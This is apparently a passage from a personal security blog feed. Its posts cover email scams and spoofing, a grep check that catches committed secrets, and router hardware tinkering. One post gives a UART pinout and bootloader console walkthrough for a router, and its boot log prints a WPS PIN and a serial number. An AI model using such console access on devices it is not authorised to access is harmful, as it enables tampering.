awk<span class="w"> </span><span class="s1">'!/^.*VALUE=DATE.*$/'</span><span class="w"> </span>basic.ics<span class="w"> </span>><span class="w"> </span>basic2.ics<span class="w"> </span><span class="c1">#some events in gcal have weird date notation</span>
sed<span class="w"> </span>-i<span class="w"> </span><span class="s1">'s/:/: /g'</span><span class="w"> </span>basic.ics
sed<span class="w"> </span>-i<span class="w"> </span><span class="s1">'s/^.........//'</span><span class="w"> </span>basic.ics
<span class="nv">DATE</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>date<span class="w"> </span>+<span class="s1">'%Y%m%d'</span><span class="k">)</span><span class="s2">"</span><span class="w"> </span><span class="c1">#remove past events</span>
awk<span class="w"> </span><span class="s1">'int($1)>="'</span><span class="s2">"</span><span class="nv">$DATE</span><span class="s2">"</span><span class="s1">'"'</span><span class="w"> </span>basic.ics<span class="w"> </span>><span class="w"> </span>basic2.ics
sort<span class="w"> </span>-k<span class="w"> </span><span class="m">1</span><span class="w"> </span>basic2.ics<span class="w"> </span>><span class="w"> </span>basic.ics
awk<span class="w"> </span><span class="s1">'NR < 11'</span><span class="w"> </span>basic.ics<span class="w"> </span>><span class="w"> </span>cal.ics<span class="w"> </span><span class="c1">#limit to 10 upcoming events</span>
sed<span class="w"> </span>-i<span class="w"> </span>-e<span class="w"> </span><span class="s1">'s/^.\{4\}/&\//'</span><span class="w"> </span>cal.ics<span class="w"> </span><span class="c1">#add / after year and month </span>
sed<span class="w"> </span>-i<span class="w"> </span>-e<span class="w"> </span><span class="s1">'s/^.\{7\}/&\//'</span><span class="w"> </span>cal.ics
rm<span class="w"> </span>basic.ics<span class="w"> </span><span class="c1">#cleanup</span>
rm<span class="w"> </span>basic2.ics
rm<span class="w"> </span>basic3.ics
</code></pre></div></td></tr></table></div>
<p>The script can be found on <a href="https://github.com/limbenjamin/ics-parser">github</a>.</p>
<p>Edit (04/12/15): Google updated endpoint to calendar.google.com. </p>Open letter to ICANN on PPSAI2015-07-03T09:19:00+08:002015-07-03T09:19:00+08:00Benjamin Limtag:limbenjamin.com,2015-07-03:/articles/open-letter-to-icann-on-ppsai.html<blockquote>
<p>Subject: I may not need Domain Privacy, but others do!<br>
From: Benjamin Lim <mail@limbenjamin.com><br>
Date: Fri, 3 Jul 2015 18:12:52 +0200 </p>
<p>Dear ICANN, </p>
<p>I will not attempt to speak on behalf of the oppressed or the discriminated. There are already enough voices out there advocating the …</p></blockquote><blockquote>
<p>Subject: I may not need Domain Privacy, but others do!<br>
From: Benjamin Lim <mail@limbenjamin.com><br>
Date: Fri, 3 Jul 2015 18:12:52 +0200 </p>
<p>Dear ICANN, </p>
<p>I will not attempt to speak on behalf of the oppressed or the discriminated. There are already enough voices out there advocating the importance of domain privacy in allowing them a safe haven to express themselves. </p>
<p>I would instead like to impress on you the importance of domain privacy for small businesses. They may not have to worry about governments or right wing fanatics bothering them at their workplace, but the same personal information can be used by malicious individuals to carry out scams. </p>
<p><img alt="Domain renew scam" src="//limbenjamin.com/media/domain_renew_scam.png"></p>
<p>My domain's lease was expiring recently and I received the following email containing an invoice to renew my domain. Upon opening the email, I realised that the email was not from my domain registrar and the amount quoted was much higher than the approximate $10/year for a .com domain. I was able to determine that the email was from a scammer. The scammer obtained all the pieces of information including full name, address, phone number and domain expiry date through public WHOIS information. </p>
<p>Domain owners out there include many small businesses, whose employees might not be savvy enough or familiar with their domain registrar. Without domain privacy, these people would end up as victims of these scams. Thus, abolishing domain privacy would not reduce incidence of fraud, but instead result in an increase. </p>
<p>To further prove my point, a similar incident involving company registration occurred in Singapore. The official national regulator of businesses in Singapore is the Accounting And Corporate Regulatory Authority (ACRA). However, a company, Data Register Pte Ltd, sent out letters to companies claiming that their company's information will be "deleted" from the database if a fee is not paid. They are able to do so because they can look up the company's name, address and business registration number from ACRA's site. Over 2000 queries were been made and a number have paid the fees as they believed Data Register Pte Ltd to be the legitimate regulator of businesses. This proves that a similar scam would work on domain name registration. Data Register Pte Ltd even sent out lawyer letters claiming to be a legitimate company providing directory services and the fee it was charging was for inclusion into its own database. </p>
<p>Should domain privacy be abolished, I am afraid that similar scams may be pulled off on domain name registrations on a wider scale. It may not be possible to seek legal recourse if the language in the email is sufficiently ambiguous and actual directory services are provided. </p>
<p>Information source: <a href="https://www.acra.gov.sg/uploadedFiles/Content/News_and_Events/Press_releases/PR_2014_02.pdf">https://www.acra.gov.sg/uploadedFiles/Content/News_and_Events/Press_releases/PR_2014_02.pdf</a> </p>
<p>This letter is published at <a href="http://forum.icann.org/lists/comments-ppsai-initial-05may15/msg10903.html">http://forum.icann.org/lists/comments-ppsai-initial-05may15/msg10903.html</a> </p>
<p>--<br>
Benjamin Lim<br>
E: mail@limbenjamin.com<br>
PGP : https://limbenjamin.com/pgp </p>
</blockquote>Website goes offline for 3 months2015-06-25T13:02:00+08:002015-06-25T13:02:00+08:00Benjamin Limtag:limbenjamin.com,2015-06-25:/articles/what-happens-when-a-website-goes-offline-for-3-months.html<p>On the 6th of Mar, while performing routine maintenance on my server, bash commands suddenly stopped working.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>$<span class="w"> </span><span class="nb">pwd</span>
<span class="w"> </span>-bash:<span class="w"> </span>pwd:<span class="w"> </span><span class="nb">command</span><span class="w"> </span>not<span class="w"> </span>found
<span class="w"> </span>$<span class="w"> </span>ls
<span class="w"> </span>-bash:<span class="w"> </span>ls:<span class="w"> </span><span class="nb">command</span><span class="w"> </span>not<span class="w"> </span>found
</code></pre></div></td></tr></table></div>
<p>At that point in time, apache web server was still running. I took the risk and asked …</p><p>On the 6th of Mar, while performing routine maintenance on my server, bash commands suddenly stopped working.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>$<span class="w"> </span><span class="nb">pwd</span>
<span class="w"> </span>-bash:<span class="w"> </span>pwd:<span class="w"> </span><span class="nb">command</span><span class="w"> </span>not<span class="w"> </span>found
<span class="w"> </span>$<span class="w"> </span>ls
<span class="w"> </span>-bash:<span class="w"> </span>ls:<span class="w"> </span><span class="nb">command</span><span class="w"> </span>not<span class="w"> </span>found
</code></pre></div></td></tr></table></div>
<p>At that point in time, apache web server was still running. I took the risk and asked for the server to be rebooted, hoping that it was just some data corruption in the RAM. Unfortunately, the boot process was interrupted and I lost full access to the server until I get back home to Singapore in August.</p>
<h1>What happened after that?</h1>
<p>15 Mar (T+9 Days) - Google Webmaster Tools sent me an email stating the GoogleBot can't access my site. I am using Google Analytics on my site.<br>
21 Mar (T+15 Days) - Identical email as above<br>
25 Mar (T+19 Days) - Web cache fails for homepage (Could have been earlier, didn't check everyday)<br>
28 Mar (T+22 Days) - Identical email as above<br>
29 Mar (T+23 Days) - Homepage as well as recent posts in past 2 months have been removed from Google Search<br>
7 Apr (T+31 Days) - All 2014 posts gone, most recent posts date back to Aug 2013<br>
19 Apr (T+43 Days) - No change<br>
26 Apr (T+50 Days) - No change<br>
17 May (T+71 Days) - 5 pages remaining. All 5 are tag/archive pages.<br>
5 Jun (T+90 Days) - Obliterated from search results</p>
<p>In 90 days, my entire online legacy was wiped off Google. Was it gone forever? Not quite, it is still archived on sites like archive.org. It will be interesting to see how long it takes for google to reindex the site once it is back up and running. </p>Email fraud part 22015-06-01T10:46:00+08:002015-06-01T10:46:00+08:00Benjamin Limtag:limbenjamin.com,2015-06-01:/articles/email-fraud-part-2.html<p>While still on the topic of email fraud, I would like to touch on 419 scams, which are also known as Nigerian scams. Most of us routinely encounter such emails in our spam box, so it shouldn't be too alien to us. The modus operandi for such a scam is …</p><p>While still on the topic of email fraud, I would like to touch on 419 scams, which are also known as Nigerian scams. Most of us routinely encounter such emails in our spam box, so it shouldn't be too alien to us. The modus operandi for such a scam is as follows. The scam artist first crafts an email to bait the victim into replying. Common scenarios include winning the lottery, inheriting a large sum of money from deceased royalty and so on. Once the victim has replied, the scam artist will request a sum of money claiming that a clearance or holding fee has to be paid before the winnings/inheritance can be processed. After paying the scam artist, the victim will never hear from them again.</p>
<p>If we break down the process, we will realise that the scam artist has to perform 2 steps, first of which is to craft a generic email and blast it out to as many email addresses as possible. The second involves personalised follow up messages for each victim to convince them of the legitimacy of his claim and guide them through the payment process. The first step can be automated very easily while the second step requires manual effort on the part of the scam artist. Suffice to say, not everyone who replies will eventually take the bait, thus it is in the best interest of the scam artist to craft the email in such a way that only the most gullible will be fooled into replying, as this is the target group who is most likely to get scammed.</p>
<p>One of the methods used to achieve the abovementioned is through poor english. Most people assume that the grammatical errors and sentence structure problems are due to poor education. However, as this <a class="reference external" href="http://research.microsoft.com/apps/pubs/default.aspx?id=167719">article</a> describes, scam artists deliberately introduce these errors so that the more educated folks will immediately identify it as spam and only the less educated folks will take the bait. It is easier to convince these less educated folks into parting with their money and thus the scam artists will have a higher rate of return for less work.</p>
<p>Another method is through the use of ludicrous scenarios involving princes/princesses or agencies and banks that do not exist. These scam artists can use the name of a legitimate bank or agency but they choose to use fictitious ones because their targets are those who do not know how to conduct a simple google search to check if these agencies exist. These less savvy people are more likely to fall for the scam.</p>
<p>So, the next time you receive a Nigerian scam with a ludicrous scenario written in poor english, it is simply because you are not in the target group.</p>
Email fraud2015-05-18T08:59:00+08:002015-05-18T08:59:00+08:00Benjamin Limtag:limbenjamin.com,2015-05-18:/articles/email-fraud.html<p>A fraudster managed to email his way out of prison. Article <a class="reference external" href="http://www.bbc.com/news/uk-england-london-32095189">here</a>.</p>
<p>The amount of trust that a lay person puts into emails today is quite alarming. Emails were first used in the 70s, when everyone knew everyone else on the network and trust was less of an issue that …</p><p>A fraudster managed to email his way out of prison. Article <a class="reference external" href="http://www.bbc.com/news/uk-england-london-32095189">here</a>.</p>
<p>The amount of trust that a lay person puts into emails today is quite alarming. Emails were first used in the 70s, when everyone knew everyone else on the network and trust was less of an issue that it is today. There used to be a "yellow pages" book which contained the names and email addresses of everyone in the world just like a phone directory. Needless to say, such a thing is unimaginable today.</p>
<p>I like to use the analogy of actual addresses to explain domain names and emails to the layperson. If you look at the URL bar above, the domain name for my website is limbenjamin.com. Registering a .com address is analogous of renting a house and having a physical address. If a house is not available for rent/sale, then you cannot own that physical address, this is similar to domain names as well, since limbenjamin.com is already taken, no one else can register that name if I decide not to sell or abandon it.</p>
<p>There are certain domains that are well known such as google.com, whitehouse.gov. Similarly, there are certain addresses which are well known such as "10 Downing Street". Registering a name similar to google.com like goggle.com/goog1e.com is very simple as long as it has not been taken, only costs like $10/year. It is equivalent to renting a house at "10 Drowning Street" or "10 Dawning Street" if it exists. Therefore, it is important to make sure that the domain matches character for character as you would for a physical address.</p>
<p>Spoofing of emails has a physical manifestation as well. There is nothing stopping me from printing a letter with an official letter head and putting "10 Downing Street" as the return address before dropping it off at a mailbox. Similarly, I can easily send out an email purportedly from <a class="reference external" href="mailto:obama@whitehouse.gov">obama@whitehouse.gov</a>, gmail will place it straight in your inbox, not your spam folder. Well, technically there is Sender Policy Framework (SPF) which prevents the abovementioned from happening but only a few domains use it and whitehouse.gov is not one of them.</p>
<p>In conclusion, email is simply not a secure mode of communication. Even if you have verified the domain name, it is still possible for someone to send out an email from a spoofed address. Organizations should look towards using SPF to protect against spoofed emails while users should practice 2-way communication. When you reply a message, it goes to the real <a class="reference external" href="mailto:obama@whitehouse.gov">obama@whitehouse.gov</a>. Hopefully, someone there will respond and tell you that he did not send out the initial message.</p>
iPad POS2015-04-30T08:59:00+08:002015-04-30T08:59:00+08:00Benjamin Limtag:limbenjamin.com,2015-04-30:/articles/ipad-pos.html<p>While traveling in the US, I noticed that a considerable number of smaller food establishments used an iPad Point of Sale (POS) system. Given the number of POS vulnerabilities reported in the past year, I wondered if the iPad would be a more secure POS platform compared to the traditional …</p><p>While traveling in the US, I noticed that a considerable number of smaller food establishments used an iPad Point of Sale (POS) system. Given the number of POS vulnerabilities reported in the past year, I wondered if the iPad would be a more secure POS platform compared to the traditional system.</p>
<p>One thing that the iPad has going for it is that the operating system is frequently and easily updated when new patches are released. Apple is also relatively quick in patching vulnerabilities so the device's exposure to risk is minimized. In contrast, firmware released for traditional POS systems are often less timely, in addition, the flashing process is also much more involved, thus most establishments do not even update their systems leading to greater exposure to risk.</p>
<p>However, the iPad is also a much more complicated device compared to the traditional device. Most features such as bluetooth, GPS, web browsing and so on are not required for the purpose of receiving payment. As a result, there is much more code running on the iPad, thus leading to a greater probability of a vulnerability being present. For example, non payment related function such as notifications could contain a <a class="reference external" href="http://appleinsider.com/articles/15/05/26/bug-in-ios-notifications-handling-crashes-iphones-with-a-simple-text">vulnerability</a> which could crash the entire system. In addition, these channels also increase the attack vector. Instead of attacking only over ethernet in the traditional system, an attacker could leverage bluetooth, NFC(future generations of iPad might have NFC capability) or even other installed apps to carry out the attack.</p>
<p>Lastly, the POS functionality on an iPad is provided by a third party application. Thus, the business owner would have to trust multiple companies with the security of their data. These companies are usually new startups and are not as established as the companies providing traditional solutions. A quick look at some of these companies reveal that ease of use, low costs and on-the-fly statistics seem to be the main selling points of the application. Most also do not have data protection clauses. For all you know, they might be selling transaction data to an advertising company.</p>
<p>The iPad was not originally designed to be a POS system, it is only in recent years that the phenomenon has really taken off. Since the majority of companies still use traditional systems, it is far more lucrative to develop exploits targeting them. Once the popularity of an iPad POS picks up, adversaries might start turning their attention towards them and only then will we be able see if these companies have invested enough into the security aspect of their applications.</p>
1FA2015-04-24T08:59:00+08:002015-04-24T08:59:00+08:00Benjamin Limtag:limbenjamin.com,2015-04-24:/articles/1fa.html<p>Applications such as <a class="reference external" href="https://www.pushbullet.com/">Pushbullet</a> strive to integrate our devices by mirroring notifications received on an android phone onto a windows laptop. I can read and even reply SMSes without the need to pick up my phone. Nevertheless, we must be careful when using them since One Time Passwords(OTP) are …</p><p>Applications such as <a class="reference external" href="https://www.pushbullet.com/">Pushbullet</a> strive to integrate our devices by mirroring notifications received on an android phone onto a windows laptop. I can read and even reply SMSes without the need to pick up my phone. Nevertheless, we must be careful when using them since One Time Passwords(OTP) are mirrored as well. Especially for those who use a password manager without a master password, all an adversary needs to do is to steal your laptop. Security has essentially been reduced from 2 factor authentication(2FA) to 1FA. Convenience always comes at the price of security.</p>
<p><img alt="image0" src="../media/1FA.png" /></p>
IJIS plaintext offender2015-04-12T08:59:00+08:002015-04-12T08:59:00+08:00Benjamin Limtag:limbenjamin.com,2015-04-12:/articles/ijis-plaintext-offender.html<p>I am always pissed off when I discover that a site I use is a plaintext offender. Well, if they are mom and pop establishments that do not deal with money or personal data, I might exhibit a wee bit of tolerance. However, large cooperations have no excuse especially since …</p><p>I am always pissed off when I discover that a site I use is a plaintext offender. Well, if they are mom and pop establishments that do not deal with money or personal data, I might exhibit a wee bit of tolerance. However, large cooperations have no excuse especially since salting and hashing is such a simple operation. Some sites I have come across include <a class="reference external" href="https://www.wileyplus.com/">WileyPlus</a>, the online teaching environment as well as surprise, surprise, the submission portal for the International Journal of Information Security(IJIS). You think that with so many postgrad security majors submitting their papers, someone would have raised a stink over it.</p>
<p><img alt="image0" src="../media/IJIS.png" /></p>
Information Leakage2015-03-29T08:59:00+08:002015-03-29T08:59:00+08:00Benjamin Limtag:limbenjamin.com,2015-03-29:/articles/information-leakage.html<p>Piazza is a learning management system that allows students to post questions which are then answered by fellow students or the lecturer. One of the features of Piazza is anonymous posting where students can choose not to reveal their names. Unfortunately, correlations can be made through observing the style of …</p><p>Piazza is a learning management system that allows students to post questions which are then answered by fellow students or the lecturer. One of the features of Piazza is anonymous posting where students can choose not to reveal their names. Unfortunately, correlations can be made through observing the style of writing, causing information leakage. Just to clarify (pun intended), it is no fault of Piazza though.</p>
<p>Update (27/08/15): Turns <a class="reference external" href="http://www.abc.net.au/news/2015-08-26/secret-anti-paedophile-operation-saves-children-from-abuse/6720304">out</a> that Queensland Police used the same exact technique to de-anonymise an administrator of a child porn tor site.</p>
<p><img alt="image0" src="../media/information_leakage.png" /></p>
Uber's github slip up2015-03-06T20:47:00+08:002015-03-06T20:47:00+08:00Benjamin Limtag:limbenjamin.com,2015-03-06:/articles/ubers-github-slip-up.html<p>Background : Uber or one of its contractors uploaded a security key to a public github gist. Malicious actors were able to use the key to access the database and made away with personal details of 50,000 Uber drivers. Article <a href="http://arstechnica.com/security/2015/03/in-major-goof-uber-stored-sensitive-database-key-on-public-github-page/">here</a>.</p>
<p>This is one of those pesky little problems with …</p><p>Background : Uber or one of its contractors uploaded a security key to a public github gist. Malicious actors were able to use the key to access the database and made away with personal details of 50,000 Uber drivers. Article <a href="http://arstechnica.com/security/2015/03/in-major-goof-uber-stored-sensitive-database-key-on-public-github-page/">here</a>.</p>
<p>This is one of those pesky little problems with version control. Passwords have to be stored in config files which have to ship with the code. This is a problem with small open source projects with only a few collaborators often times working on only 1 master branch. Due to the small scale, it is not feasible to set up automated CI servers to run scripts to detect such slip ups. How then do we prevent it from happening?</p>
<p>I must admit that it has happened to me once before. I accidentally committed a mysql user account and password into a pubic github repo. Fortunately, I realised it a few days later and managed to change the password (hopefully no one noticed it). This got me thinking about how to prevent a repeat of such an incident.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>$<span class="w"> </span>cat<span class="w"> </span>../../projA-secrets.txt
<span class="w"> </span>-----BEGIN<span class="w"> </span>RSA<span class="w"> </span>PRIVATE<span class="w"> </span>KEY-----
<span class="w"> </span>-----BEGIN<span class="w"> </span>DSA<span class="w"> </span>PRIVATE<span class="w"> </span>KEY-----
<span class="w"> </span>p@55w0rd
<span class="w"> </span>s3cr3tK3y
</code></pre></div></td></tr></table></div>
<p>So, the first step is to maintain a list of all secret keys and passwords for that project in a text file outside the root of the project directory. People might argue that it is unsafe to store all your passwords in a text file. But my response is that it is simply security by obscurity. The passwords are already stored in plaintext nested somewhere within the project, an experienced adversary would know where to look so it doesn't compromise much of security. If you really want to, you could name the file projA-README.txt or something.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>grep<span class="w"> </span>-HFf<span class="w"> </span>../../projA-secrets.txt<span class="w"> </span>*
</code></pre></div></td></tr></table></div>
<p>The shell command above would recursively search and output a list of file names and the corresponding line number which contain any line in the secrets file. Therefore, by running this command before committing, you will be able to double check that you have removed all secrets. You can include this command into a pre-commit hook to make sure that it gets run before every commit.</p>
<p>Ever since that incident more than a year ago, I have never made the same mistake again.</p>ASUS RT-N15U external antennae mod2015-02-28T09:54:00+08:002015-02-28T09:54:00+08:00Benjamin Limtag:limbenjamin.com,2015-02-28:/articles/asus-rt-n15u-external-antennae-mod.html<p>tl;dr : The RT-N15U does NOT have a u.fl connector and an external antennae mod, if at all possible, will be challenging.</p>
<p>This was supposed to be an easy mod judging from whatever information was already out there on the internet. Pop off the cover, attach u.fl pigtails …</p><p>tl;dr : The RT-N15U does NOT have a u.fl connector and an external antennae mod, if at all possible, will be challenging.</p>
<p>This was supposed to be an easy mod judging from whatever information was already out there on the internet. Pop off the cover, attach u.fl pigtails to U523 and U524, screw on the antennae and mount the board.</p>
<p>Unfortunately, things went wrong from the very start. The board was screwed on to both the front and back of the case and the screws were not accessible from the external part of the case. I had to break a portion of the plastic off the case, subjecting the board to an unnatural degree of flex in the process. The broken piece of plastic can be seen in the bottom left corner. Thankfully, the board sustained no damage in the process.</p>
<p><img alt="image" src="//limbenjamin.com/media/rt-n15u.jpg" /></p>
<p>Now that we have a better look at the board, we have ceramic heat sinks covering what I guess are the CPU and wifi chips. The uncovered chip on the left is an MXIC serial flash chip and the one at the top is a RAM chip. To the right of the board, there are connection points for serial TTL marked by J2. We would have to solder on male connectors to make any use of it.</p>
<p>Getting down to business, U523 and U524, located on the left side of the board is rumored to be a u.fl female connector. However, no amount of forcing could get my u.fl connectors to fit. Upon much closer examination, these aren't u.fl connectors. Yes, internet can be wrong sometimes. Further <a class="reference external" href="http://forum.arduino.cc/index.php?topic=188976.0">research</a> into similar embedded devices revealed that it is actually a proprietary connector. It is most likely the MM8430-2610, and is used for testing purposes. At 50 bucks a pop for the external probe, I am not going to take that risk.</p>
<p>In comparison to the Aztech DSL1015EN, I would say that this board is much more unfriendly to tinkerers. The Aztech was easy to unscrew, had serial TTL connectors already soldered on and used industry standard u.fl connectors.</p>
Online text binning tool2015-02-07T17:19:00+08:002015-02-07T17:19:00+08:00Benjamin Limtag:limbenjamin.com,2015-02-07:/articles/online-text-binning-tool.html<p>I was doing my crypto homework and found that there was no text binning tool available online. Hence, I decided to write my own. A text binning tool is useful for:</p>
<ol>
<li>Encryption using a rail cipher</li>
<li>Cryptanalysis of a vigenere cipher after you know the key length - useful to separate …</li></ol><p>I was doing my crypto homework and found that there was no text binning tool available online. Hence, I decided to write my own. A text binning tool is useful for:</p>
<ol>
<li>Encryption using a rail cipher</li>
<li>Cryptanalysis of a vigenere cipher after you know the key length - useful to separate each bin so you can calculate the Index of Coincidence individually</li>
</ol>
<p>The entire computation is done in javascript and no information about the ciphertext or plaintext is sent back to my server. Feel free to encrypt your deepest darkest secrets. For the paranoid, you can even disconnect from the internet after the page has loaded.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>thisisasampleinput
</code></pre></div></td></tr></table></div>
<p>Sample output with length 3</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="w"> </span>Bin<span class="w"> </span><span class="m">0</span>:
<span class="w"> </span>TSAMEP
<span class="w"> </span>Bin<span class="w"> </span><span class="m">1</span>:
<span class="w"> </span>HISPIU
<span class="w"> </span>Bin<span class="w"> </span><span class="m">2</span>:
<span class="w"> </span>ISALNT
</code></pre></div></td></tr></table></div>
<p><br /></p>
<form>
<fieldset>
<div>
<label for="name">Length</label>
<select id="length">
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
</select>
</div>
<div>
<label for="name">Input</label>
<textarea rows="4" cols="20" id="input"></textarea>
</div><br />
<div>
<button id="submit">Submit</button>
</div>
</fieldset>
<form>
<div id="result"></div>
<script src="/js/jquery-1-11-1.js"></script>
<script type="text/javascript">
$(document).ready(function () {
$( "#submit" ).click(function() {
event.preventDefault();
var value = $( "#input" ).val();
var length = $( "#length" ).val();
var result = new Array(length);
var formatted ="<br />";
for (i = 0; i < length; i++) {
result[i] = "Bin "+ i + ": ";
}
for (i = 0; i < value.length; i++) {
index = i % length;
result[index] += value[i];
}
for (i = 0; i < length; i++) {
formatted += "<br />";
formatted += result[i];
formatted += "<br /><br />";
}
$( "#result" ).html(formatted);
});
});
</script>Public Private Partnerships in Cybersecurity2015-01-31T12:19:00+08:002015-01-31T12:19:00+08:00Benjamin Limtag:limbenjamin.com,2015-01-31:/articles/public-private-partnerships-in-cybersecurity.html<p>Living in DC has accorded me a number of privileges. Chief among them is the proximity to government offices as well as many NGOs. I am literally walking distance away from their offices. As a result, I have attended a number of press conferences and panel discussions led by current …</p><p>Living in DC has accorded me a number of privileges. Chief among them is the proximity to government offices as well as many NGOs. I am literally walking distance away from their offices. As a result, I have attended a number of press conferences and panel discussions led by current and former members of the government as well as the intelligence community. One recurring theme in the recent discussions is the importance of public private partnerships (PPP) in preventing a repeat of the Sony hacking incident.</p>
<p>The argument is that PPPs allow for greater information sharing thus reducing information asymmetry between the private and public sectors. It has been suggested that everything from malware signatures to attack attempts could be shared. The idea is that the aggregated data can be analysed for trends and patterns which can then help companies better prepare their defenses against similar attacks.</p>
<p>My opinion on the matter is that PPPs will not work out, at least not without major changes to regulations. The success of a PPP depends largely on one single value; honesty. In this particular case, neither party has the incentive to put all his cards on the table.</p>
<p>Lets first take a look from the government's perspective. It is no secret that governments stockpile 0 days. It is crucial ammunition that provides them with an alternative to conventional warfare. Case in point, Stuxnet was able to cripple Iran's nuclear programme, remain undetected for years, and not divulge the identity of its creator, something that conventional warfare or diplomacy would be unable to achieve. Even if full-blown war is unavoidable, 0 days can serve as a force multiplier. Imagine being able to disrupt the utilities and infrastructure of the target country even before the first boots hit the ground. The government would never be willing to share such information with the private sector.</p>
<p>From the private sector's perspective, the most important driver is profit. Once the company reports the crime and police have started investigations, the company has loss all control over the chain of event and the media circus that ensues may be even more detrimental to the company than the attack itself. Just look at the share price of Sony after the incident. In addition, equipment may be confiscated for evidential purposes which may affect day-to-day business operations. Lastly, the investigation process might uncover details such as the non-compliance to certain regulations and the company might even be liable for prosecution. It is therefore in the company's best interest to sweep it under the carpet and absorb the losses.</p>
<p>Unless there are indemnity and certain privacy clauses worked into regulation, it is unlikely that PPPs will work out.</p>
On Physical Authentication2015-01-09T06:02:00+08:002015-01-09T06:02:00+08:00Benjamin Limtag:limbenjamin.com,2015-01-09:/articles/on-physical-authentication.html<p>Recently, I moved into a new environment and had the opportunity to witness a number of processes. This experience further reinforced in me the importance of policies over technical measures.</p>
<p>Physical authentication is simple compared to its online equivalent. For a small sized population, we recognise them by face. For …</p><p>Recently, I moved into a new environment and had the opportunity to witness a number of processes. This experience further reinforced in me the importance of policies over technical measures.</p>
<p>Physical authentication is simple compared to its online equivalent. For a small sized population, we recognise them by face. For a larger sized one, we use an identity card with a photo and verify that the photo looks similar to the person in real life. For extra security, we could go with biometric or password/PIN numbers. Putting fake IDs aside, that pretty much sums up physical authentication.</p>
<p>There is no need to worry about authenticating the "server" since it is highly unlikely for someone to setup a fake counter or service desk or even a fake building. MITM attacks are also out of the question since you are physically present at the location. Physical authentication is something that we all do in daily life subconsciously.</p>
<p>Yet it is still possible to screw up something like this. While collecting network equipment, I was not required to present any ID. I could have simply filled in my neighbour's name and address and got away with it. While collecting parcels, all I needed was the tracking number. Requiring me to sign for it doesn't help in the least bit since the signature isn't being validated against my own. While not as straightforward, obtaining tracking numbers shouldn't be a problem with a little social engineering, after all they are not meant to be confidential in the first place.</p>
<p>Update: Spoke too soon, apparently, it is possible to setup a fake bank. <a class="reference external" href="http://www.bbc.com/news/blogs-news-from-elsewhere-30932424">These</a> folks had it running for more than a year!</p>
Dumping Aztech DSL1015EN firmware2014-12-15T23:06:00+08:002014-12-15T23:06:00+08:00Benjamin Limtag:limbenjamin.com,2014-12-15:/articles/dumping-aztech-DSL1015EN-firmware.html<p>Recently, I had the fortune to come across a spare DSL1015EN router cum modem. After dismantling the external case, this is what the internals look like.</p>
<p><img alt="image0" src="//limbenjamin.com/media/dsl1015.jpg" /></p>
<p>On the left, we can see 2 u.fl connectors for the antennaes. If I wanted to, I could get a RP-SMA adapter and …</p><p>Recently, I had the fortune to come across a spare DSL1015EN router cum modem. After dismantling the external case, this is what the internals look like.</p>
<p><img alt="image0" src="//limbenjamin.com/media/dsl1015.jpg" /></p>
<p>On the left, we can see 2 u.fl connectors for the antennaes. If I wanted to, I could get a RP-SMA adapter and hook up some 9-dbi antennaes but we will save that project for another day. Towards the middle, we have a 4 pin UART serial connector. Looking through the specifications for the flash chipset and through trial and error , I found the pinout configuration. From left to right</p>
<ol class="arabic simple">
<li>brown wire - Ground</li>
<li>orange wire - RX</li>
<li>yellow wire - TX</li>
<li>red wire - 3.3V //optional, will work even without it.</li>
<li>Baud rate : 115200</li>
</ol>
<p>Tip: When guessing the pinout configuration, you can swop around the Ground, RX and TX cables without causing damage to the board. Power might not be necessary for most devices since it is usually powered through other means as well. Once powered up:</p>
<pre class="literal-block">
CFE version 1.0.38-112.37 for BCM96328 (32bit,SP,BE)
Build Date: Tue Oct 23 13:14:05 SGT 2012 (veerendra@rdfwsrv.aztech.com)
Copyright (C) 2000-2011 Broadcom Corporation.
HS Serial flash device: name MX25L256, id 0xc219 size 32768KB
Total Flash size: 32768K with 512 sectors
Chip ID: BCM6328B0, MIPS: 320MHz, DDR: 320MHz, Bus: 160MHz
Main Thread: TP0
Memory Test Passed
Total Memory: 67108864 bytes (64MB)
Boot Address: 0xb8000000
Board IP address : 192.168.1.1:ffffff00
Host IP address : 192.168.1.100
Gateway IP address :
Run from flash/host (f/h) : f
Default host run file name : vmlinux
Default host flash file name : bcm963xx_fs_kernel
Boot delay (0-9 seconds) : 3
Board Id (0-7) : 963281TAN
Number of MAC Addresses (1-32) : 6
Base MAC Address : 00:26:75:b8:e8:21
PSI Size (1-64) KBytes : 64
Enable Backup PSI [0|1] : 0
System Log Size (0-256) KBytes : 0
Main Thread Number [0|1] : 0
Serial Number (13 digits) : 0703134704629
Current Mode (F|N) : N
WPS Device Pin : "10317221"
*** Press any key to stop auto run (3 seconds) ***
Auto run second count down: 2
web info: Waiting for connection on socket 0.
CFE>
</pre>
<hr class="docutils" />
<div class="section" id="help">
<h2>Help!</h2>
<pre class="literal-block">
Available commands:
sm Set memory or registers.
dm Dump memory or registers.
w Write the whole image start from beginning of the flash
e Erase [n]vram or [a]ll flash except bootrom
r Run program from flash image or from host depend on [f/h] flag
p Print boot line and board parameter info
c Change booline parameters
f Write image to the flash
i Erase persistent storage data
